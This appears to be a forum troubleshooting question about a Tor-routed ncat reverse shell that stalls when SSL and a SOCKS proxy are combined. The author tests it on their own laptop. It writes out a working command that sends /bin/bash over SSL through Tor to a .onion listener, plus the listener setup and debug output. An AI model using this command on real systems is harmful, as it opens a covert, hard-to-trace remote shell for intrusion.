I'm trying to backdoor my own laptop in a proof of concept of a reverse shell using Tor network. So I set a hidden service and a listening ncat on a desktop computer with Kali-2.0. The laptop also runs Kali-2.0 with ncat to bind a shell through Tor to the hidden service. This is what I get on the slave side:

~$ ncat --ssl -vvv --proxy-type socks5 --proxy 127.0.0.1:9050 myhiddenservice.onion 1234 -e /bin/bash
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
NCAT DEBUG: Using system default trusted CA certificates and those in /etc/ssl/certs/ca-certificates.crt.
NCAT DEBUG: Not doing certificate verification.
Ncat: Connected to proxy 127.0.0.1:9050
Ncat: No authentication needed.
Ncat: connection succeeded.
libnsock nsi_new2(): nsi_new (IOD 0000001)
libnsock nsi_new2(): nsi_new (IOD #2)
NCAT DEBUG: Executing: /bin/bash

Until that, all is fine. On the other side:

~$ ncat --ssl -l -vvv -p 1234
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: CC20 6775 3F79 3376 4BB8 F3A5 9A8F BD59 3768 0DA8
NCAT DEBUG: Initialized fdlist with 103 maxfds
Ncat: Listening on :::1234
NCAT DEBUG: Added fd 3 to list, nfds 1, maxfd 3
Ncat: Listening on 0.0.0.0:1234
NCAT DEBUG: Added fd 4 to list, nfds 2, maxfd 4
NCAT DEBUG: Added fd 0 to list, nfds 3, maxfd 4
NCAT DEBUG: Initialized fdlist with 100 maxfds
NCAT DEBUG: selecting, fdmax 4
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 4 is ready
Ncat: Connection from 127.0.0.1.
NCAT DEBUG: Swapping fd[0] (3) with fd[2] (0)
NCAT DEBUG: Removed fd 3 from list, nfds 2, maxfd 4
NCAT DEBUG: Swapping fd[1] (4) with fd[1] (4)
NCAT DEBUG: Removed fd 4 from list, nfds 1, maxfd 0
Ncat: Connection from 127.0.0.1:52133.
NCAT DEBUG: Added fd 5 to list, nfds 2, maxfd 5
NCAT DEBUG: selecting, fdmax 5
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 5 is ready
NCAT DEBUG: selecting, fdmax 5

[ Here I type some commands, which doesn't show any output ]
whoami
ls
exit

Even the "exit" is not executed, I have to hit ctrl-c to stop.
If I hit ctrl-c on the other side (backdoored system) I get the following error on the listening side:

Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0)

And then the retained commands are executed on the shell. This seems to only happen when using --ssl, without it everything runs as expected. Also, when not using --proxy it works correctly with --ssl.